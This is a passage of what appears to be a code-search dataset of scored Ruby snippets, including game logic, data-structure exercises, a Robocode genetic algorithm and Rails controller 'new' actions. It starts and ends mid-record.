@mapa.values[0].next(mov2),@mapa.values[1].next(mov1)\n puntos = mov1.score(mov2)\n ptsacum1 += puntos[0]\n ptsacum2 += puntos[1]\n rondasaux += 1\n end\n rondasaux += @ronda.values[2]\n @ronda = {@mapa.keys[0] => ptsacum1, @mapa.keys[1] => ptsacum2, \"Rondas\" => rondasaux}\n \n end", "title": "" }, { "docid": "a8e40bc169004d27a5940b8a6922795b", "score": "0.5271756", "text": "def apartar_menores(num)\n nodo ={\n valor: num,\n siguiente: nil\n }\n contador=1\n while contador<=@pila[:size]\n valor = @pila[:tope][:valor]\n if num>valor && @pila[:tope][:siguiente]==nil\n insertar_en_aux(valor)\n @pasos.push(\"ELIMINAR #{valor}\")\n @pila[:tope]=nodo\n @pila[:size]+=1\n contador=@pila[:size]+1\n @pasos.push(mostrar_pila())\n elsif num ==valor\n tope = @pila[:tope]\n nodo[:siguiente]=tope\n @pila[:tope]=nodo\n @pila[:size]+=1\n contador=@pila[:size]+1\n @pasos.push(mostrar_pila())\n elsif num>valor\n insertar_en_aux(valor)\n @pasos.push(\"ELIMINAR #{valor}\")\n @pila[:tope]=@pila[:tope][:siguiente]\n @pasos.push(mostrar_pila())\n elsif num<valor\n tope = @pila[:tope]\n nodo[:siguiente]=tope\n @pila[:tope]=nodo\n @pila[:size]+=1\n contador=@pila[:size]+1\n @pasos.push(mostrar_pila())\n end\n contador+=1\n end\n ingresar_menores()\n @pila_aux[:tope]=nil\n @pila_aux[:size]=0\n @pila_aux[:esta_vacia]=true\n end", "title": "" }, { "docid": "e4ccb0d768dd8330fe1a2b5dd7cdaa4b", "score": "0.5268099", "text": "def rock(limit = 6)\n\tarray = (1..limit).to_a\n\trand(array[0]..array[array.length - 1])\nend", "title": "" }, { "docid": "8ac2d63b1bf1acecb670c1c441f4ce60", "score": "0.526466", "text": "def getPossiblePos(pos,schritte)\n count = 0\n distance = pos+ schritte\n while (distance-1)>($width_height-1)\n count +=1\n distance-=($width_height-1)\n end\n reflect(distance-1, count)+1\nend", "title": "" }, { "docid": "12afedb47061b41b7fa192637bea2b31", "score": "0.52581173", "text": "def optimal_attack_plan_for_planet planet_id\n # number of bases on this planet\n num_bases = $num_bases_per_planet[planet_id]\n # total zerg force available\n total_z_force = $z_force_per_planet[planet_id]\n # max_mineral matrix\n # first row and column are all 0s \n mm = Array.new\n # constrcut a max_mineral solution\n # first row and column are all 0s \n mc = Array.new\n for k in (0..num_bases)\n mm.push Array.new(total_z_force+1, 0)\n mc.push Array.new(total_z_force+1, 0)\n end\n puts \"#{mm.inspect}\" if $debug\n puts \"#{mc.inspect}\" if $debug\n # compute mm from bottom up\n # mm[k][i] = max { mm[k-1][i-z[k]]+m[k], mm[k-1][i] }\n for k in (1..num_bases)\n for i in (1..total_z_force)\n prev_i = i - $min_z_force_per_base[planet_id][k]\n if prev_i < 0 then\n # zerg cannot take any minerals\n # if not enough zerg force\n current_max = 0\n else\n current_max = mm[k-1][prev_i] + $m_per_base[planet_id][k]\n end\n # in this case\n # we have picked base k\n mc[k][i] = 1\n if current_max<=mm[k-1][i] then\n # in this case\n # we don't pick base k\n # a subtlety here\n # if attacking base k dones't get us any more mineral\n # then don't attack\n # in this way, we can handle the case\n # where current_max and mm[k-1][i] are both 0s\n # which means we don't have enough zerg froce \n # to take over any of the bases considered\n current_max = mm[k-1][i]\n mc[k][i] = 0\n end\n mm[k][i] = current_max\n end\n end\n \n if $debug then\n puts \"max mineral matrix\"\n for i in (1..num_bases)\n puts \"base #{i}: #{mm[i].inspect}\"\n end\n puts \"max mineral construction matrix\"\n for i in (1..num_bases)\n puts \"base #{i} : #{mc[i].inspect}\"\n end\n end\n \n # construct the optimal zerg force deployment\n # from matrix mc\n k = num_bases\n i = total_z_force\n total_z_force_deployed = 0\n total_mineral_captured = 0\n # base_id => zerg force deployed\n bases_attacked = Hash.new\n while k > 0 and i > 0\n if mc[k][i] == 1 then\n # base k is attacked\n total_z_force_deployed += $min_z_force_per_base[planet_id][k]\n total_mineral_captured += $m_per_base[planet_id][k]\n bases_attacked[k] = $min_z_force_per_base[planet_id][k]\n i -= $min_z_force_per_base[planet_id][k]\n end\n k -= 1\n end\n puts \"total force deployed on planet #{planet_id} : #{total_z_force_deployed}\" if $debug\n puts \"deployment plan : #{bases_attacked.inspect}\" if $debug\n \n # print out the solution\n # in a required form\n puts \"#{total_z_force_deployed} #{total_mineral_captured}\"\n tmp_str = \"\"\n bases_attacked.keys.sort.each { |k|\n tmp_str += \"#{k-1} #{bases_attacked[k]} \"\n }\n puts \"#{tmp_str.chomp()}\"\nend", "title": "" }, { "docid": "feb0aba1b289b8f1bdf2ae97dc67d027", "score": "0.5254847", "text": "def recover_mana\n\t\t\tpercentage = (Random.rand(5..15).to_f / 100.0)\n\t\t\tmana = self.max_mana\n\t\t\tnew_mana = self.mana + (mana * percentage)\n\t\t\tself.mana = [new_mana, self.max_mana].min\n\t\t\tself.save\n\t\tend", "title": "" }, { "docid": "c714d3dc51bb0b8105fa1a98881521c3", "score": "0.52548176", "text": "def search_health_pack \n result = rand(1..6)\n if result == 1\n puts \"You didn't find anything\"\n\n elsif result.between?(2,5)\n @life_points += 50\n @life_points = 100 if @life_points > 100\n puts \"CONGRATULATION ! You found a 50 pack of point of life.\"\n\n else result == 6\n @life_points += 80\n @life_points = 100 if @life_points > 100\n puts \"OMG !! You found a 80 pack of point of life.\"\n end\n end", "title": "" }, { "docid": "3d906b1761cf01ce1a44f79e0a6b8186", "score": "0.5251307", "text": "def maximum_permutations\n cheapest_item = @menu.values.min\n (@target_price/cheapest_item).floor\n end", "title": "" }, { "docid": "614e3849cba701989ab2d1d1f35f206b", "score": "0.5250218", "text": "def set_crescendo_decrescendo \n return if @in_decrescendo_crescendo or @in_crescendo_decrescendo\n @max_crescendo_step_count = @min_crescendo_num_steps + rand(@max_crescendo_num_steps - @min_crescendo_num_steps + 1)\n @max_crescendo_step_count = @crescendo_max_amp_range if @max_crescendo_step_count > @crescendo_max_amp_range\n @crescendo_amp_adj = (@crescendo_max_amp_range / @max_crescendo_step_count).floor\n @crescendo_amp_adj = 1 if @crescendo_amp_adj == 0\n @crescendo_step_count = 0 \n @crescendo_sign = 1\n @in_crescendo = true\n @in_crescendo_decrescendo = true\n end", "title": "" }, { "docid": "7d863deebfc5559340ec6711b9bcea03", "score": "0.5248169", "text": "def next(m=nil)\n numalea = rand\n @arreglo = @arreglo.sort\n tam = @arreglo.length\n cont = 0\n aux3 = 0\n bool = true\n while cont < tam do \n if bool then\n\taux1 = 0\n\taux2 = @arreglo[cont]\n\tbool = false\n else\n\taux1 = @arreglo[cont-1]\n\taux2 = @arreglo[cont]\n end\n if (aux1 <= numalea) and (numalea< aux2) then\n\treturn @probs.key (@arreglo[cont])\n end\n cont += 1 \n end\n @probs.key (@arreglo[tam-1])\n end", "title": "" }, { "docid": "109ca8398553c68f609948d970aac710", "score": "0.52479994", "text": "def run\n for i in 1...@maxGeneraciones\n @poblacionNueva = Array.new\n @evaluacionNueva = Array.new\n size = @poblacion/2\n for j in 1..size\n crossover = true\n padre1 = nil\n padre2 = nil\n while (crossover) do\n # Obtengo los padres nuevos.\n padre1 = tournament()\n padre2 = tournament() \n # Si estos se cruzan, entonces genero\n # a sus hijos.\n if (@proCruza > rand) then\n crossover = false\n hijos = padre1.crossover(padre2)\n hijo1 = hijos[0]\n hijo2 = hijos[1]\n end\n end\n \n # Si la mutacion es true, entonces los muto.\n if (@proMutacion > rand) then\n hijo1.mutation\n end\n if (@proMutacion > rand) then\n hijo2.mutation\n end\n # Agrego los hijos a la poblacion nueva.\n @poblacionNueva.push(hijo1)\n @poblacionNueva.push(hijo2)\n end\n # Aumento la generacion de estos\n @generacion += 1\n # Agrego al mejor de la poblacion pasada\n # a esta poblacion.\n setElitismo\n # Se evaluan\n evaluaPoblacion\n # Imprimo estadisticias en la terminal.\n print \"Fitness de la generacion: \"\n print @evaluacionNueva\n print \" ---- Generacion: \"\n print @generacion\n # Obtengo al mejor de la generacion.\n getElitismo\n puts \" ----- El mejor individuo de la generacion: \"+ @elitismoFitness.to_s\n # Si se genero una solucion mejor entonces la guardo, si no\n # no hago nada.\n obtenElMejor\n # Agrego los datos a las estadisiticas\n agregaData\n # Intercambio las poblaciones para hacer otra iteracion.\n intercambia\n end\n # Genero el codigo de la mejor solucion\n # para guadar el .java y tambien para\n # compilarlo.\n tree = JSON.parse(@elMejor,:max_nesting => false)\n individuo = Individuo.new(@elMejorDepths[0],@elMejorDepths[1])\n individuo.tree = tree\n decode = Decode.new(individuo,\"Mejor\")\n decode.decode\n javaCode = decode.javaExpresion\n file = File.open(\"robots/Mejor/Mejor.java\",\"w+\")\n file.write(javaCode)\n file.close\n compileString = \"javac -classpath libs/robocode.jar robots/Mejor/Mejor.java\"\n system(compileString)\n puts \"El mejor Robot se obtubo en la generacion: \" + @generacionElMejor.to_s\n puts \"El codigo del robot esta en la carpeta robots/Mejor/Mejor.java\"\n puts\n puts \"Para correr las batallas con cada competidor, debe de ejecutar los siguientes\\n\n comandos por separado para ver cada batalla\"\n for i in 0...@competidores.size\n puts \"java -classpath libs/robocode.jar robocode.Robocode -battle battles/Mejor\"+(@competidores[i].delete(\" \"))+\n \".battle\"\n end\n end", "title": "" }, { "docid": "1ba63b7ec8ee05ff4f55c7ff45b30cc7", "score": "0.52338755", "text": "def podaArbolAux(level,name,subtree,maxDepth,parent)\n if !(level+1 > maxDepth)then\n if !(subtree.is_leaf?) then\n children = subtree.out_degree\n for i in 1..children\n podaArbolAux(level+1,name,subtree[i-1],maxDepth,parent)\n end\n end \n return \n else\n children = subtree.out_degree\n for i in 1..children\n #Genero los hijos random \n # solo si no es hoja. \n if !(subtree[i-1].is_leaf?) then\n subtree.remove!(subtree[i-1])\n if (name == \"onScannedRobot\") then\n newNode = Funct.new(@listTermNum.merge(@listTermOnScannedRobot),\n @listTermJAVA.merge(@listTermJAVAOnScannedRobot),\n nil,\n false)\n subtree.add(Tree::TreeNode.new(\"Parent: \" + parent +\n \" Function: \" + newNode.funct +\n \" Level: \" + level.to_s + \" Node: \" +\n (i-1).to_s + \" Random\",newNode),i-1)\n end\n if (name == \"onHitBullet\") then\n newNode = Funct.new(@listTermNum.merge(@listTermOnHitBullet),\n @listTermJAVA.merge(@listTermJAVAOnHitBullet),\n nil,false)\n subtree.add(Tree::TreeNode.new(\"Parent: \" + parent + \" Function: \" +\n newNode.funct + \" Level: \" + level.to_s +\n \" Node: \" + (i-1).to_s + \" Random\",\n newNode),i-1)\n end\n if (name == \"onHitByBullet\") then\n newNode = Funct.new(@listTermNum.merge(@listTermOnHitByBullet),\n @listTermJAVA.merge(@listTermJAVAOnHitByBullet),\n nil,\n false)\n subtree.add(Tree::TreeNode.new(\"Parent: \" + parent + \" Function: \" +\n newNode.funct + \" Level: \" + level.to_s +\n \" Node: \" + (i-1).to_s + \" Random\",\n newNode),i-1)\n \n end\n end\n end\n end\n end", "title": "" }, { "docid": "0e41126bd1bbbe122d07036be8db1de0", "score": "0.5230808", "text": "def nuevo_autor(cola)\n if cola[:max]>0\n if cola[:esta_vacio] #SI NO HAY NINGUN AOUTOR EN LA PILA\n print 'Ingrese el nombre del autor: '\n nombre_autor = gets.chomp\n autor = {\n nombre:nombre_autor,\n libros: 0,\n siguiente:nil,#cambio\n }\n cola[:tope] = autor\n cola[:final] = autor\n cola[:esta_vacio] = false\n cola[:max]-=1\n cola[:size]+=1\n else #SI YA HAY MAS DE UN AUTOR EN LA PILA\n print 'Ingrese el nombre del autor: '\n nombre_autor = gets.chomp\n elemento = cola[:tope]\n conta=1\n b=0\n while conta<=cola[:size] #VERIFICANDO QUE NO EXISTA UN AUTOR CON EL MISMO NOMBRE EN LA PILA\n if elemento[:nombre]==nombre_autor\n b+=1\n end\n if conta!=cola[:size]\n nuevo_elemento = elemento[:siguiente]\n elemento = nuevo_elemento\n end\n conta+=1\n\n end\n if b>0 #CONDICION CUANDO HAY UN AUTOR CON EL MISMO NOMBRE\n puts '***ya existe un autor con este nombre***'\n else #SI NO HAY UN AUTOR CON EL MISMO NOMBRE\n autor = {\n nombre:nombre_autor,\n libros: 0,\n libros1: nil,\n esta_vacio: true,\n siguiente:nil,\n }\n a = cola[:final]\n a[:siguiente] = autor\n cola[:final] = autor\n cola[:max]-=1\n cola[:size]+=1\n end\n end\n else\n puts \"\\n***Ya no tiene espacio para mas autores***\"\n\n end\ngets\nend", "title": "" }, { "docid": "349b1d87908b61d632733200553ba0c7", "score": "0.52287626", "text": "def simular_horas_extra\n\t\treturn rand(0..20)\n\tend", "title": "" }, { "docid": "93214b6f70472f2bc91923f3b384e611", "score": "0.5219562", "text": "def roller\n d1 = rand(6)+1\n d2 = rand(6)+1\n d3 = rand(6)+1\n d4 = rand(6)+1\n arr =[d1, d2, d3, d4]\n i = 1\n min = arr[0]\n while i < arr.length\n if min > arr[i]\n min = arr[i]\n end\n i += 1\n end\n ability = (d1 + d2 + d3 + d4 - min)\n return ability\n end", "title": "" }, { "docid": "58f57157b32db37efa76c02b2c213029", "score": "0.5213873", "text": "def mayor\n max = @matriz[0][0]\n @f.times do |i|\n\t@c.times do |j|\n\t if(max < @matriz[i][j])\n\t max = @matriz[i][j]\n\t end\n\tend\n end\n end", "title": "" }, { "docid": "c7da9b6f50f0a8d13ceab63519343bd1", "score": "0.52125746", "text": "def tournament()\n torneo = Array.new\n torneoIndex = Array.new\n for i in 1..@individuosTorneo\n individuo = rand(@poblacion)\n torneo.push(@evaluacionVieja[individuo])\n torneoIndex.push(individuo)\n end\n selected = torneo[0]\n indexWine = torneoIndex[0]\n for i in 2..@individuosTorneo\n if (selected < torneo[i-1]) then\n select = torneo[i-1]\n indexWine = torneoIndex[i-1]\n end\n end\n \n # Una vez seleccionado un ganador\n # lo desencripto con la libreria json.\n ganador = Individuo.new(@profundidadArboles[indexWine][0],@profundidadArboles[indexWine][1])\n ganador.tree = JSON.parse(@poblacionVieja[indexWine],:max_nesting => false)\n return ganador\n end", "title": "" }, { "docid": "f0858b37d0c15f55323b970ae4443618", "score": "0.5209971", "text": "def turnajovy_vyber(selekcni_tlak)\n poc_zapasicich = (1-selekcni_tlak) * VELIKOST_POPULACE\n prihlaseni = []\n \n citac =0\n while(citac < VELIKOST_POPULACE)do\n prihlaseni[prihlaseni.length]=@populace[citac].dup\n citac+=1\n end\n citac = 0\n\n while(citac < poc_zapasicich)do\n\n nahoda = Random.rand(VELIKOST_POPULACE-citac)\n prihlaseni[nahoda] = nil\n prihlaseni.compact!\n \n citac+=1 \n end\n \n #vyberu sampiona s nejlepsim fitness\n vel = prihlaseni.length\n sampion = prihlaseni[0]\n \n citac = 0\n while(citac < vel)do\n sampion = dej_vyherce(sampion, prihlaseni[citac])\n citac+=1\n end\n \n return sampion\n end", "title": "" }, { "docid": "9243bb496315213aa4ad107a4a1b5148", "score": "0.52092385", "text": "def aletorio(cad)\n #cadena donde se guardara el numero binario aleatorio creado\n t_aleatorio=\"\"\n cad.length.times do\n aleatorio= rand(0..1)\n t_aleatorio<< aleatorio.to_s\n end\n @c_aleatorio=t_aleatorio\n @c_aleatorio\n end", "title": "" }, { "docid": "97076335d773f58ea253f71843e49842", "score": "0.52073264", "text": "def calc_height\n if @perished == false\n case @height\n when (0..10.0)\n @height += rand(1..2.5)\n when (10.0..30.0) \n @height += rand(0.5..1.5)\n when (30.0..49.0) \n @height += rand(0.3..0.8)\n when (49.0..50.0) \n @height\n end\n else\n puts \"Your tree is still dead but was #{@height} at time of death\"\n end\n end", "title": "" }, { "docid": "89b1569806a61cb04ece230bf4195b20", "score": "0.52028996", "text": "def generate_board(level = 1)\n # Initialize\n point_count = 24 # Between 24 and 26 points distributed on the board, 26 if last distribution is a 3\n voltorb_count = 5 + 2 * level # The number of voltorb in the board\n chance_3 = [0, 50, 60, 60, 70, 70][level] # More 3 tile = less points in the board (prevent 4500 point boards)\n data = Table.new 5, 5 # The table\n available_coords = [] # The table coords\n point_coords = [] # The coords of the tile containing points\n 5.times do |x|\n 5.times do |y|\n available_coords.push [x, y]\n end\n end\n available_coords.shuffle!\n # Place the voltorbs and the first point\n available_coords.each do |coords|\n # No more than 4 voltorbs in a row / column\n v_row = 0\n v_col = 0\n 5.times do |y|\n v_row += 1 if data[coords[0], y] < 0\n end\n 5.times do |x|\n v_col += 1 if data[x, coords[1]] < 0\n end\n # Place a voltorb if possible, else place a point\n if v_row < 4 && v_col < 4 && voltorb_count > 0\n data[coords[0], coords[1]] = -1\n voltorb_count -= 1\n else\n data[coords[0], coords[1]] = 1\n point_count -= 1\n point_coords.push coords\n end\n end\n # Distribute the remaining points considering the 3 tile chances\n while point_count > 0\n # Select a tile\n c = point_coords.select do |a|\n if data[a[0], a[1]] == 2 # Will be 3\n next rand(100) < chance_3\n else\n next true\n end\n end.first\n # Add a point\n data[c[0], c[1]] += 1\n point_coords.delete(c) if data[c[0], c[1]] >= 3\n point_count -= 1\n end\n\n # data = Table.new(5, 5)\n # data[0, 0] = 3\n # data[1, 0] = 3\n # data[2, 0] = -1\n\n # Setup the tiles\n 5.times do |x|\n 5.times do |y|\n @board_tiles[x * 5 + y].content = (data[x, y] > 0 ? data[x, y] : :voltorb)\n end\n end\n # Update the counters\n @board_counters.each(&:update_display)\n end", "title": "" }, { "docid": "ad9e88b042ea1d11ade03c7dbb2115c6", "score": "0.5201547", "text": "def getPossibleNeg(pos,schritte)\n count = 0\n distance = pos-schritte\n while (distance-1)<0\n count +=1\n distance+=($width_height-1)\n end\n reflect(distance-1, count)+1\nend", "title": "" } ]
d11d7c0ed37351e9519540c943e11664
GET /admin/merchandise/pieces/new GET /admin/merchandise/pieces/new.json
[ { "docid": "e7e31e0fa2a909395a09479595d5ea1a", "score": "0.77560306", "text": "def new\n @admin_merchandise_piece = Admin::Merchandise::Piece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_merchandise_piece }\n end\n end", "title": "" } ]
[ { "docid": "8253358893cdef5690b1f218cf29dfee", "score": "0.8374312", "text": "def new\n unless current_user.try(:admin?)\n redirect_to \"/\"\n end\n @page = \"pieces\"\n @piece = Piece.new\n @creators = Creator.find(:all)\n @galleries = Gallery.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @piece }\n end\n end", "title": "" }, { "docid": "b824e958921065851c0f09dd9d3ed134", "score": "0.7826501", "text": "def new\n unless current_user.try(:admin?)\n redirect_to \"/\"\n end\n @page = \"pieces\"\n @creator = Creator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creator }\n end\n end", "title": "" }, { "docid": "50043c37717df430a10d9871e49a6289", "score": "0.7679788", "text": "def new\n @piece = Piece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @piece }\n end\n end", "title": "" }, { "docid": "50043c37717df430a10d9871e49a6289", "score": "0.7679788", "text": "def new\n @piece = Piece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @piece }\n end\n end", "title": "" }, { "docid": "881270e4d48325fb527de81ec110ded6", "score": "0.7672528", "text": "def new\n @piece = Piece.new\n @page_title = t('pieces.new.piece')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @piece }\n end\n end", "title": "" }, { "docid": "019de417ef33f45335c9ad1cd1910d6a", "score": "0.73254293", "text": "def new\n @personne = User.find(params[:user_id])\n @piece = @personne.pieces.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @piece }\n end\n end", "title": "" }, { "docid": "9a345a1cb882a5397750eb4e53c2a52d", "score": "0.73154885", "text": "def create\n @admin_merchandise_piece = Admin::Merchandise::Piece.new(params[:admin_merchandise_piece])\n\n respond_to do |format|\n if @admin_merchandise_piece.save\n format.html { redirect_to @admin_merchandise_piece, notice: 'Piece was successfully created.' }\n format.json { render json: @admin_merchandise_piece, status: :created, location: @admin_merchandise_piece }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_merchandise_piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1754abba9780ed446168de7444bd2fcc", "score": "0.7230274", "text": "def create\n @piece = Piece.new(params[:piece])\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to [:admin, @piece], notice: 'Piece was successfully created.' }\n format.json { render json: @piece, status: :created, location: @piece }\n else\n format.html { render action: \"new\" }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f79499c70e72ee0e36f6d13b424d053", "score": "0.7169793", "text": "def create\n @piece = Piece.new(params[:piece])\n\n respond_to do |format|\n if @piece.save\n format.html do\n if params[:copy_new]\n redirect_to copy_piece_path(@piece.id), notice: t('pieces.create.created', info: @piece.info)\n else\n redirect_to pieces_path, notice: t('pieces.create.created', info: @piece.info)\n end\n end\n format.json { render json: @piece, status: :created, location: @piece }\n else\n @page_title = t('pieces.new.piece')\n format.html { render action: \"new\" }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2450ce4f78b79ff1683d4d80a81c5651", "score": "0.71368355", "text": "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "title": "" }, { "docid": "07bd886d0406d7bf416e33d6180ea791", "score": "0.71037334", "text": "def new\n unless current_user.try(:admin?)\n redirect_to \"/\"\n end\n @page = \"pieces\"\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gallery }\n end\n end", "title": "" }, { "docid": "0b50328f96ba4e509675d88d4a94c38a", "score": "0.6990888", "text": "def new\n @piece = Piece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @piece }\n end\n end", "title": "" }, { "docid": "56871838e6c0816cf7a9c5c1d764ee9f", "score": "0.69667906", "text": "def new\n @outfits_piece = OutfitsPiece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @outfits_piece }\n end\n end", "title": "" }, { "docid": "087f778e869a24fa7bb707fb2a0eb4f2", "score": "0.69136316", "text": "def new\n @section_piece = SectionPiece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @section_piece }\n end\n end", "title": "" }, { "docid": "eaccf1acce77d12ddf7d0f9753b254ef", "score": "0.68874514", "text": "def new\n @part_type = PartType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part_type }\n end\n end", "title": "" }, { "docid": "424f8458436f3b6f9061a87d37e4d965", "score": "0.6863825", "text": "def new\n @masterpiece = Masterpiece.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @masterpiece }\n end\n end", "title": "" }, { "docid": "f0c894eb1e724af78f0a2b93ff222cdf", "score": "0.68392783", "text": "def new\n @part = Part.new\n prepFormVariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "title": "" }, { "docid": "9d8c4bc4065595ebb065987192f31d0b", "score": "0.68338865", "text": "def new\n @spare_part = SparePart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spare_part }\n end\n end", "title": "" }, { "docid": "08d96d73484dedc0170a9e0adcbe760b", "score": "0.68323225", "text": "def create\n @piece = Piece.new(params[:piece])\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to @piece, notice: 'Piece was successfully created.' }\n format.json { render json: @piece, status: :created, location: @piece }\n else\n format.html { render action: \"new\" }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08d96d73484dedc0170a9e0adcbe760b", "score": "0.68323225", "text": "def create\n @piece = Piece.new(params[:piece])\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to @piece, notice: 'Piece was successfully created.' }\n format.json { render json: @piece, status: :created, location: @piece }\n else\n format.html { render action: \"new\" }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc60ede35627bbd99b993672f0e6aa57", "score": "0.6823934", "text": "def create\n @piece = Piece.new(piece_params)\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to edit_piece_path(@piece), notice: 'Piece was successfully created.' }\n format.json { render :show, status: :created, location: @piece }\n else\n format.html { render :new }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "881405d55990ba40e6a13f9f4d431611", "score": "0.6823133", "text": "def new\n @part_detail = PartDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_detail }\n end\n end", "title": "" }, { "docid": "734ca2e10876aa98b6d7e53d2210e3b4", "score": "0.6751734", "text": "def new\n @gameplay = Gameplay.current\n @pieces = JSON.parse @gameplay.pieces_json\n\n positions = {\n :vertical => @pieces.each_with_index.map {|item, index| [item, index, 0]}.to_json,\n :horizontal => []\n }\n\n @response = post_to_api(\"/apis/#{@animal.current_role}\", :positions => positions)\n @destination = edit_url\n end", "title": "" }, { "docid": "4547c584019da7ab0c40b00e8361b768", "score": "0.67510575", "text": "def create\r\n @piece = Piece.new(piece_params)\r\n\r\n respond_to do |format|\r\n if @piece.save\r\n format.html { redirect_to edit_piece_path(@piece), notice: 'Piece was successfully created.' }\r\n format.json { render :show, status: :created, location: @piece }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @piece.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "7ff5637985334e34337f03bd2fc68641", "score": "0.67346793", "text": "def new\n @page_part = PagePart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @page_part }\n end\n end", "title": "" }, { "docid": "4163cd4f5ef51457dfc2e8c03b38b0fb", "score": "0.6716072", "text": "def create\n @piece = Piece.new(piece_params)\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to @piece, notice: 'Piece was successfully created.' }\n format.json { render :show, status: :created, location: @piece }\n else\n format.html { render :new }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4163cd4f5ef51457dfc2e8c03b38b0fb", "score": "0.6716072", "text": "def create\n @piece = Piece.new(piece_params)\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to @piece, notice: 'Piece was successfully created.' }\n format.json { render :show, status: :created, location: @piece }\n else\n format.html { render :new }\n format.json { render json: @piece.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a4cf24f20bbe0079dba2ca4632b81b3", "score": "0.6714366", "text": "def new\n @partite = Partite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partite }\n end\n end", "title": "" }, { "docid": "f79508f06c2884aee08fa0e206a89841", "score": "0.6689651", "text": "def new\n @medium_construction = MediumConstruction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_construction }\n end\n end", "title": "" }, { "docid": "de3cefbaf062d90c5584b0d922f49606", "score": "0.6682353", "text": "def new\n @wood = Wood.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wood }\n end\n end", "title": "" }, { "docid": "5faaa93d45c63187348fbe6e06a853f0", "score": "0.6679548", "text": "def new\n @modification = Modification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @modification }\n end\n end", "title": "" }, { "docid": "8c024f7f9ea869871ead44d3ea9bbd5a", "score": "0.6666883", "text": "def new\n @division = Division.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @division }\n end\n end", "title": "" }, { "docid": "a1951c9252395eec645fe8c30dc09353", "score": "0.6632788", "text": "def create\n @personne = User.find(params[:user_id])\n @piece = @personne.pieces.build(params[:piece])\n\n respond_to do |format|\n if @piece.save\n format.html { redirect_to([@personne, @piece], :notice => 'Piece was successfully created.') }\n format.xml { render :xml => @piece, :status => :created, :location => @piece }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @piece.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0ff7a3de98429660b9e5b24829146c7", "score": "0.6612911", "text": "def new\n @part_db = PartDb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part_db }\n end\n end", "title": "" }, { "docid": "d89d88dcb488b2acf0e3af27a9893512", "score": "0.6611011", "text": "def new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: ''}\n end\n end", "title": "" }, { "docid": "e79174f1cd78c69d435d15d976b53e55", "score": "0.66091996", "text": "def new\n @nomenclature = Nomenclature.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nomenclature }\n end\n end", "title": "" }, { "docid": "ca9cf73f4fbd2659fd90318840b596dc", "score": "0.6606612", "text": "def new\n @partenaire = Partenaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @partenaire }\n end\n end", "title": "" }, { "docid": "fd668f18035b4649cd339efc3e0bc9ac", "score": "0.65997905", "text": "def new\n @pawnshop = Pawnshop.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pawnshop }\n end\n end", "title": "" }, { "docid": "26f02ef28313003c43d9c5ce4c2d510d", "score": "0.6596837", "text": "def new\n return redirect_to root_url, notice: \"Vous n'avez pas accès à cette ressource.\" if @user.role != User::ROLE_ADMIN\n @party = Partie.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @party }\n end\n end", "title": "" }, { "docid": "138bb2d0cf741d132a66f50c49fd0df0", "score": "0.65924793", "text": "def new\n @sparepart = Sparepart.new(part_type_id: PartType.first.try(:id),\n manufacturer_id: Manufacturer.first.try(:id),\n supplier_id: Supplier.first.try(:id)\n )\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sparepart }\n end\n end", "title": "" }, { "docid": "d2ed1672d3d8f56b958b24656054c8b4", "score": "0.6576184", "text": "def new\n @modull = Modull.new\n\n 